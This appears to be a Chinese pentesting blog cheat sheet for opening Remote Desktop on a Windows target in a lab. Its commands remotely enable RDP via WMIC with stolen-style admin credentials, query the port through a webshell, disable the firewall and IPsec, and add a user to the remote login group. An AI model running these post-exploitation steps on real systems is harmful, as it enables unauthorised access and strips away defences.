REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f 

WMIC命令开启3389端口

前提条件是确保“Windows Management Instrumentation(Winmgmt)”服务已正常启动。

wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

WMIC开启 远程主机3389端口

支持系统:Win2k/XP/Win2k3

wmic /node:192.168.80.136 /user:administrator /password:123456 PATH win32_terminalservicesetting WHERE (__Class!="") CALL SetAllowTSConnections 1 

支持系统:Win7/Win2k8/Win8.1/Win10/2012/2016

wmic /node:192.168.80.136 /user:administrator /password:123456 RDTOGGLE WHERE ServerName='08serverR2-1' call SetAllowTSConnections 1 
wmic /node:192.168.80.136 /user:administrator /password:123456 process call create 'cmd.exe /c REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f'

注意:

利用WMIC远程执行命令的方式来执行WMIC、REG等开启3389端口的命令。

WMIC远程开启3389端口时不能用%COMPUTERNAME%环境变量替代远程主机的计算机名。错误:描述 = 拒绝访问,这是因为开启了UAC用户账户控制,只允许RID500管理员执行此操作。

查询是否开启3389(0为On 1为OFF)

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections

注册表查询端口号

可使用webshell的REGshell

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\

image-20220303135759053

cmdshell查询

REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds" /s
REG query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP- Tcp" /v PortNumber 

将16进制整数输出,即为3389

set /a Port=0xd3d

image-20220303140132308

通过网络命令查询端口

tasklist /svc | findstr "TermService" 
netstat -ano | findstr "进程号" 
net start |find "Remote Desktop Services"

1264为进程号

image-20220303140447024

关闭防火墙

确定开启了远程终端并且端口没错的情况下,还是连不上目标

这个时候可以使用lcx端口转发或者使用命令关闭防火墙

查询状态

netsh advfirewall show allprofile state

关闭防火墙

netsh advfirewall set allprofiles state off

关闭防火墙

net stop "Windows Firewall"

禁用防火墙

sc config sharedaccess start= disabled

关闭防火墙

net stop sharedaccess

关闭 ipsec

在关闭防火墙时,还是连接不上,可能是ipsec做了ip策略处理,导致连接失败

net stop "IPsec Policy Agent

终端连接错误方法

08远程开启3选项,win10连接,出现如下

image-20220303141040857

此情况下,可使用相同版本的终端连接,用12server连接

image-20220303141246931

或者使用 xfreerdp工具连接会自动加密

xfreerdp /f /u:administrator /p:123456 /v:192.168.80.136

image-20220303141536969

注销即可退出

加入远程桌面组

在08新建一个普通用户,通过普通用户远程连接

image-20220303142256017

net localgroup "Remote Desktop Users" xiaosha /add

可把此普通用户加入远程登录组,成功连接,但是权限较低

image-20220303142438794

终端超出最大连接数

可用此种方法连接

mstsc /v:192.168.80.136:3389 /console

文章作者: 晓莎K
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 晓莎K !
评论
  目录